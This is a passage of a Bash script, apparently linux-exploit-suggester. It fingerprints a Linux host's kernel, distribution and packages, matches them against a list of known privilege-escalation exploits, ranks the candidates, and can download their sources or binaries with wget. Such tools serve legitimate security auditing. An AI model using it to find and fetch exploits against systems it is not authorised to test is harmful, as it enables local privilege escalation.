--full and --short are set 2326 | [ "$opt_full" = "true" ] && [ $opt_summary = "true" ] && exitWithErrMsg "Switches -f|--full and -g|--short are mutually exclusive. Aborting." 2327 | 2328 | # --cvelist-file mode is standalone mode and is not applicable when one of -k | -u | -p | --checksec switches are set 2329 | if [ "$opt_cvelist_file" = "true" ]; then 2330 | [ ! -e "$CVELIST_FILE" ] && exitWithErrMsg "Provided CVE list file does not exists. Aborting." 2331 | [ "$opt_kernel_version" = "true" ] && exitWithErrMsg "Switches -k|--kernel and --cvelist-file are mutually exclusive. Aborting." 2332 | [ "$opt_uname_string" = "true" ] && exitWithErrMsg "Switches -u|--uname and --cvelist-file are mutually exclusive. Aborting." 2333 | [ "$opt_pkglist_file" = "true" ] && exitWithErrMsg "Switches -p|--pkglist-file and --cvelist-file are mutually exclusive. Aborting." 2334 | fi 2335 | 2336 | # --checksec mode is standalone mode and is not applicable when one of -k | -u | -p | --cvelist-file switches are set 2337 | if [ "$opt_checksec_mode" = "true" ]; then 2338 | [ "$opt_kernel_version" = "true" ] && exitWithErrMsg "Switches -k|--kernel and --checksec are mutually exclusive. Aborting." 2339 | [ "$opt_uname_string" = "true" ] && exitWithErrMsg "Switches -u|--uname and --checksec are mutually exclusive. Aborting." 2340 | [ "$opt_pkglist_file" = "true" ] && exitWithErrMsg "Switches -p|--pkglist-file and --checksec are mutually exclusive. Aborting." 2341 | fi 2342 | 2343 | # extract kernel version and other OS info like distro name, distro version, etc. 3 possibilities here: 2344 | # case 1: --kernel set 2345 | if [ "$opt_kernel_version" == "true" ]; then 2346 | # TODO: add kernel version number validation 2347 | [ -z "$KERNEL" ] && exitWithErrMsg "Unrecognized kernel version given. Aborting." 2348 | ARCH="" 2349 | OS="" 2350 | 2351 | # do not perform additional checks on current machine 2352 | opt_skip_more_checks=true 2353 | 2354 | # do not consider current OS 2355 | getPkgList "" "$PKGLIST_FILE" 2356 | 2357 | # case 2: --uname set 2358 | elif [ "$opt_uname_string" == "true" ]; then 2359 | [ -z "$UNAME_A" ] && exitWithErrMsg "uname string empty. Aborting." 2360 | parseUname "$UNAME_A" 2361 | 2362 | # do not perform additional checks on current machine 2363 | opt_skip_more_checks=true 2364 | 2365 | # do not consider current OS 2366 | getPkgList "" "$PKGLIST_FILE" 2367 | 2368 | # case 3: --cvelist-file mode 2369 | elif [ "$opt_cvelist_file" = "true" ]; then 2370 | 2371 | # get kernel configuration in this mode 2372 | [ "$opt_skip_more_checks" = "false" ] && getKernelConfig 2373 | 2374 | # case 4: --checksec mode 2375 | elif [ "$opt_checksec_mode" = "true" ]; then 2376 | 2377 | # this switch is not applicable in this mode 2378 | opt_skip_more_checks=false 2379 | 2380 | # get kernel configuration in this mode 2381 | getKernelConfig 2382 | [ -z "$KCONFIG" ] && echo "WARNING. Kernel Config not found on the system results won't be complete." 2383 | 2384 | # launch checksec mode 2385 | checksecMode 2386 | 2387 | exit 0 2388 | 2389 | # case 5: no --uname | --kernel | --cvelist-file | --checksec set 2390 | else 2391 | 2392 | # --pkglist-file NOT provided: take all info from current machine 2393 | # case for vanilla execution: ./linux-exploit-suggester.sh 2394 | if [ "$opt_pkglist_file" == "false" ]; then 2395 | UNAME_A=$(uname -a) 2396 | [ -z "$UNAME_A" ] && exitWithErrMsg "uname string empty. Aborting." 2397 | parseUname "$UNAME_A" 2398 | 2399 | # get kernel configuration in this mode 2400 | [ "$opt_skip_more_checks" = "false" ] && getKernelConfig 2401 | 2402 | # extract distribution version from /etc/os-release OR /etc/lsb-release 2403 | [ -n "$OS" -a "$opt_skip_more_checks" = "false" ] && DISTRO=$(grep -s -E '^DISTRIB_RELEASE=|^VERSION_ID=' /etc/*-release | cut -d'=' -f2 | head -1 | tr -d '"') 2404 | 2405 | # extract package listing from current OS 2406 | getPkgList "$OS" "" 2407 | 2408 | # --pkglist-file provided: only consider userspace exploits against provided package listing 2409 | else 2410 | KERNEL="" 2411 | #TODO: extract machine arch from package listing 2412 | ARCH="" 2413 | unset EXPLOITS 2414 | declare -A EXPLOITS 2415 | getPkgList "" "$PKGLIST_FILE" 2416 | 2417 | # additional checks are not applicable for this mode 2418 | opt_skip_more_checks=true 2419 | fi 2420 | fi 2421 | 2422 | echo 2423 | echo -e "${bldwht}Available information:${txtrst}" 2424 | echo 2425 | [ -n "$KERNEL" ] && echo -e "Kernel version: ${txtgrn}$KERNEL${txtrst}" || echo -e "Kernel version: ${txtred}N/A${txtrst}" 2426 | echo "Architecture: $([ -n "$ARCH" ] && echo -e "${txtgrn}$ARCH${txtrst}" || echo -e "${txtred}N/A${txtrst}")" 2427 | echo "Distribution: $([ -n "$OS" ] && echo -e "${txtgrn}$OS${txtrst}" || echo -e "${txtred}N/A${txtrst}")" 2428 | echo -e "Distribution version: $([ -n "$DISTRO" ] && echo -e "${txtgrn}$DISTRO${txtrst}" || echo -e "${txtred}N/A${txtrst}")" 2429 | 2430 | echo "Additional checks (CONFIG_*, sysctl entries, custom Bash commands): $([ "$opt_skip_more_checks" == "false" ] && echo -e "${txtgrn}performed${txtrst}" || echo -e "${txtred}N/A${txtrst}")" 2431 | 2432 | if [ -n "$PKGLIST_FILE" -a -n "$PKG_LIST" ]; then 2433 | pkgListFile="${txtgrn}$PKGLIST_FILE${txtrst}" 2434 | elif [ -n "$PKGLIST_FILE" ]; then 2435 | pkgListFile="${txtred}unrecognized file provided${txtrst}" 2436 | elif [ -n "$PKG_LIST" ]; then 2437 | pkgListFile="${txtgrn}from current OS${txtrst}" 2438 | fi 2439 | 2440 | echo -e "Package listing: $([ -n "$pkgListFile" ] && echo -e "$pkgListFile" || echo -e "${txtred}N/A${txtrst}")" 2441 | 2442 | # handle --kernelspacy-only & --userspace-only filter options 2443 | if [ "$opt_kernel_only" = "true" -o -z "$PKG_LIST" ]; then 2444 | unset EXPLOITS_USERSPACE 2445 | declare -A EXPLOITS_USERSPACE 2446 | fi 2447 | 2448 | if [ "$opt_userspace_only" = "true" ]; then 2449 | unset EXPLOITS 2450 | declare -A EXPLOITS 2451 | fi 2452 | 2453 | echo 2454 | echo -e "${bldwht}Searching among:${txtrst}" 2455 | echo 2456 | echo "${#EXPLOITS[@]} kernel space exploits" 2457 | echo "${#EXPLOITS_USERSPACE[@]} user space exploits" 2458 | echo 2459 | 2460 | echo -e "${bldwht}Possible Exploits:${txtrst}" 2461 | echo 2462 | 2463 | # start analysis 2464 | j=0 2465 | for EXP in "${EXPLOITS[@]}" "${EXPLOITS_USERSPACE[@]}"; do 2466 | 2467 | # create array from current exploit here doc and fetch needed lines 2468 | i=0 2469 | # ('-r' is used to not interpret backslash used for bash colors) 2470 | while read -r line 2471 | do 2472 | arr[i]="$line" 2473 | i=$((i + 1)) 2474 | done <<< "$EXP" 2475 | 2476 | NAME="${arr[0]}" && NAME="${NAME:6}" 2477 | REQS="${arr[1]}" && REQS="${REQS:6}" 2478 | TAGS="${arr[2]}" && TAGS="${TAGS:6}" 2479 | RANK="${arr[3]}" && RANK="${RANK:6}" 2480 | 2481 | # split line with requirements & loop thru all reqs one by one & check whether it is met 2482 | IFS=',' read -r -a array <<< "$REQS" 2483 | REQS_NUM=${#array[@]} 2484 | PASSED_REQ=0 2485 | for REQ in "${array[@]}"; do 2486 | if (checkRequirement "$REQ" "${array[0]}"); then 2487 | PASSED_REQ=$(($PASSED_REQ + 1)) 2488 | else 2489 | break 2490 | fi 2491 | done 2492 | 2493 | # execute for exploits with all requirements met 2494 | if [ $PASSED_REQ -eq $REQS_NUM ]; then 2495 | 2496 | # additional requirement for --cvelist-file mode: check if CVE associated with the exploit is on the CVELIST_FILE 2497 | if [ "$opt_cvelist_file" = "true" ]; then 2498 | 2499 | # extract CVE(s) associated with given exploit (also translates ',' to '|' for easy handling multiple CVEs case - via extended regex) 2500 | cve=$(echo "$NAME" | grep '.*\[.*\].*' | cut -d 'm' -f2 | cut -d ']' -f1 | tr -d '[' | tr "," "|") 2501 | #echo "CVE: $cve" 2502 | 2503 | # check if it's on CVELIST_FILE list, if no move to next exploit 2504 | [ ! $(cat "$CVELIST_FILE" | grep -E "$cve") ] && continue 2505 | fi 2506 | 2507 | # process tags and highlight those that match current OS (only for deb|ubuntu|RHEL and if we know distro version - direct mode) 2508 | tags="" 2509 | if [ -n "$TAGS" -a -n "$OS" ]; then 2510 | IFS=',' read -r -a tags_array <<< "$TAGS" 2511 | TAGS_NUM=${#tags_array[@]} 2512 | 2513 | # bump RANK slightly (+1) if we're in '--uname' mode and there's a TAG for OS from uname string 2514 | [ "$(echo "${tags_array[@]}" | grep "$OS")" -a "$opt_uname_string" == "true" ] && RANK=$(($RANK + 1)) 2515 | 2516 | for TAG in "${tags_array[@]}"; do 2517 | tag_distro=$(echo "$TAG" | cut -d'=' -f1) 2518 | tag_distro_num_all=$(echo "$TAG" | cut -d'=' -f2) 2519 | # in case of tag of form: 'ubuntu=16.04{kernel:4.4.0-21} remove kernel versioning part for comparision 2520 | tag_distro_num="${tag_distro_num_all%{*}" 2521 | 2522 | # we're in '--uname' mode OR (for normal mode) if there is distro version match 2523 | if [ "$opt_uname_string" == "true" -o \( "$OS" == "$tag_distro" -a "$(echo "$DISTRO" | grep -E "$tag_distro_num")" \) ]; then 2524 | 2525 | # bump current exploit's rank by 2 for distro match (and not in '--uname' mode) 2526 | [ "$opt_uname_string" == "false" ] && RANK=$(($RANK + 2)) 2527 | 2528 | # get name (kernel or package name) and version of kernel/pkg if provided: 2529 | tag_pkg=$(echo "$tag_distro_num_all" | cut -d'{' -f 2 | tr -d '}' | cut -d':' -f 1) 2530 | tag_pkg_num="" 2531 | [ $(echo "$tag_distro_num_all" | grep '{') ] && tag_pkg_num=$(echo "$tag_distro_num_all" | cut -d'{' -f 2 | tr -d '}' | cut -d':' -f 2) 2532 | 2533 | #[ -n "$tag_pkg_num" ] && echo "tag_pkg_num: $tag_pkg_num; kernel: $KERNEL_ALL" 2534 | 2535 | # if pkg/kernel version is not provided: 2536 | if [ -z "$tag_pkg_num" ]; then 2537 | [ "$opt_uname_string" == "false" ] && TAG="${lightyellow}[ ${TAG} ]${txtrst}" 2538 | 2539 | # kernel version provided, check for match: 2540 | elif [ -n "$tag_pkg_num" -a "$tag_pkg" = "kernel" ]; then 2541 | if [ $(echo "$KERNEL_ALL" | grep -E "${tag_pkg_num}") ]; then 2542 | # kernel version matched - bold highlight 2543 | TAG="${yellow}[ ${TAG} ]${txtrst}" 2544 | 2545 | # bump current exploit's rank additionally by 3 for kernel version regex match 2546 | RANK=$(($RANK + 3)) 2547 | else 2548 | [ "$opt_uname_string" == "false" ] && TAG="${lightyellow}[ $tag_distro=$tag_distro_num ]${txtrst}{kernel:$tag_pkg_num}" 2549 | fi 2550 | 2551 | # pkg version provided, check for match (TBD): 2552 | elif [ -n "$tag_pkg_num" -a -n "$tag_pkg" ]; then 2553 | TAG="${lightyellow}[ $tag_distro=$tag_distro_num ]${txtrst}{$tag_pkg:$tag_pkg_num}" 2554 | fi 2555 | 2556 | fi 2557 | 2558 | # append current tag to tags list 2559 | tags="${tags}${TAG}," 2560 | done 2561 | # trim ',' added by above loop 2562 | [ -n "$tags" ] && tags="${tags%?}" 2563 | else 2564 | tags="$TAGS" 2565 | fi 2566 | 2567 | # insert the matched exploit (with calculated Rank and highlighted tags) to arrary that will be sorted 2568 | EXP=$(echo "$EXP" | sed -e '/^Name:/d' -e '/^Reqs:/d' -e '/^Tags:/d') 2569 | exploits_to_sort[j]="${RANK}Name: ${NAME}D3L1mReqs: ${REQS}D3L1mTags: ${tags}D3L1m$(echo "$EXP" | sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/D3L1m/g')" 2570 | ((j++)) 2571 | fi 2572 | done 2573 | 2574 | # sort exploits based on calculated Rank 2575 | IFS=$'\n' 2576 | SORTED_EXPLOITS=($(sort -r <<<"${exploits_to_sort[*]}")) 2577 | unset IFS 2578 | 2579 | # display sorted exploits 2580 | for EXP_TEMP in "${SORTED_EXPLOITS[@]}"; do 2581 | 2582 | RANK=$(echo "$EXP_TEMP" | awk -F'Name:' '{print $1}') 2583 | 2584 | # convert entry back to canonical form 2585 | EXP=$(echo "$EXP_TEMP" | sed 's/^[0-9]//g' | sed 's/D3L1m/\n/g') 2586 | 2587 | # create array from current exploit here doc and fetch needed lines 2588 | i=0 2589 | # ('-r' is used to not interpret backslash used for bash colors) 2590 | while read -r line 2591 | do 2592 | arr[i]="$line" 2593 | i=$((i + 1)) 2594 | done <<< "$EXP" 2595 | 2596 | NAME="${arr[0]}" && NAME="${NAME:6}" 2597 | REQS="${arr[1]}" && REQS="${REQS:6}" 2598 | TAGS="${arr[2]}" && tags="${TAGS:6}" 2599 | 2600 | EXPLOIT_DB=$(echo "$EXP" | grep "exploit-db: " | awk '{print $2}') 2601 | analysis_url=$(echo "$EXP" | grep "analysis-url: " | awk '{print $2}') 2602 | ext_url=$(echo "$EXP" | grep "ext-url: " | awk '{print $2}') 2603 | comments=$(echo "$EXP" | grep "Comments: " | cut -d' ' -f 2-) 2604 | reqs=$(echo "$EXP" | grep "Reqs: " | cut -d' ' -f 2) 2605 | 2606 | # exploit name without CVE number and without commonly used special chars 2607 | name=$(echo "$NAME" | cut -d' ' -f 2- | tr -d ' ()/') 2608 | 2609 | bin_url=$(echo "$EXP" | grep "bin-url: " | awk '{print $2}') 2610 | src_url=$(echo "$EXP" | grep "src-url: " | awk '{print $2}') 2611 | [ -z "$src_url" ] && [ -n "$EXPLOIT_DB" ] && src_url="https://www.exploit-db.com/download/$EXPLOIT_DB" 2612 | [ -z "$src_url" ] && [ -z "$bin_url" ] && exitWithErrMsg "'src-url' / 'bin-url' / 'exploit-db' entries are all empty for '$NAME' exploit - fix that. Aborting." 2613 | 2614 | if [ -n "$analysis_url" ]; then 2615 | details="$analysis_url" 2616 | elif $(echo "$src_url" | grep -q 'www.exploit-db.com'); then 2617 | details="https://www.exploit-db.com/exploits/$EXPLOIT_DB/" 2618 | elif [[ "$src_url" =~ ^.*tgz|tar.gz|zip$ && -n "$EXPLOIT_DB" ]]; then 2619 | details="https://www.exploit-db.com/exploits/$EXPLOIT_DB/" 2620 | else 2621 | details="$src_url" 2622 | fi 2623 | 2624 | # skip DoS by default 2625 | dos=$(echo "$EXP" | grep -o -i "(dos") 2626 | [ "$opt_show_dos" == "false" ] && [ -n "$dos" ] && continue 2627 | 2628 | # handles --fetch-binaries option 2629 | if [ $opt_fetch_bins = "true" ]; then 2630 | for i in $(echo "$EXP" | grep "bin-url: " | awk '{print $2}'); do 2631 | [ -f "${name}_$(basename $i)" ] && rm -f "${name}_$(basename $i)" 2632 | wget -q -k "$i" -O "${name}_$(basename $i)" 2633 | done 2634 | fi 2635 | 2636 | # handles --fetch-sources option 2637 | if [ $opt_fetch_srcs = "true" ]; then 2638 | [ -f "${name}_$(basename $src_url)" ] && rm -f "${name}_$(basename $src_url)" 2639 | wget -q -k "$src_url" -O "${name}_$(basename $src_url)" & 2640 | fi 2641 | 2642 | # display result (short) 2643 | if [ "$opt_summary" = "true" ]; then 2644 | [ -z "$tags" ] && tags="-" 2645 | echo -e "$NAME || $tags || $src_url" 2646 | continue 2647 | fi 2648 | 2649 | # display result (standard) 2650 | echo -e "[+] $NAME" 2651 | echo -e "\n Details: $details" 2652 | echo -e " Exposure: $(displayExposure $RANK)" 2653 | [ -n "$tags" ] && echo -e " Tags: $tags" 2654 | echo -e " Download URL: $src_url" 2655 | [ -n "$ext_url" ] && echo -e " ext-url: $ext_url" 2656 | [ -n "$comments" ] && echo -e " Comments: $comments" 2657 | 2658 | # handles --full filter option 2659 | if [ "$opt_full" = "true" ]; then 2660 | [ -n "$reqs" ] && echo -e " Requirements: $reqs" 2661 | 2662 | [ -n "$EXPLOIT_DB" ] && echo -e " exploit-db: $EXPLOIT_DB" 2663 | 2664 | author=$(echo "$EXP" | grep "author: " | cut -d' ' -f 2-) 2665 | [ -n "$author" ] && echo -e " author: $author" 2666 | fi 2667 | 2668 | echo 2669 | 2670 | done 2671 | --------------------------------------------------------------------------------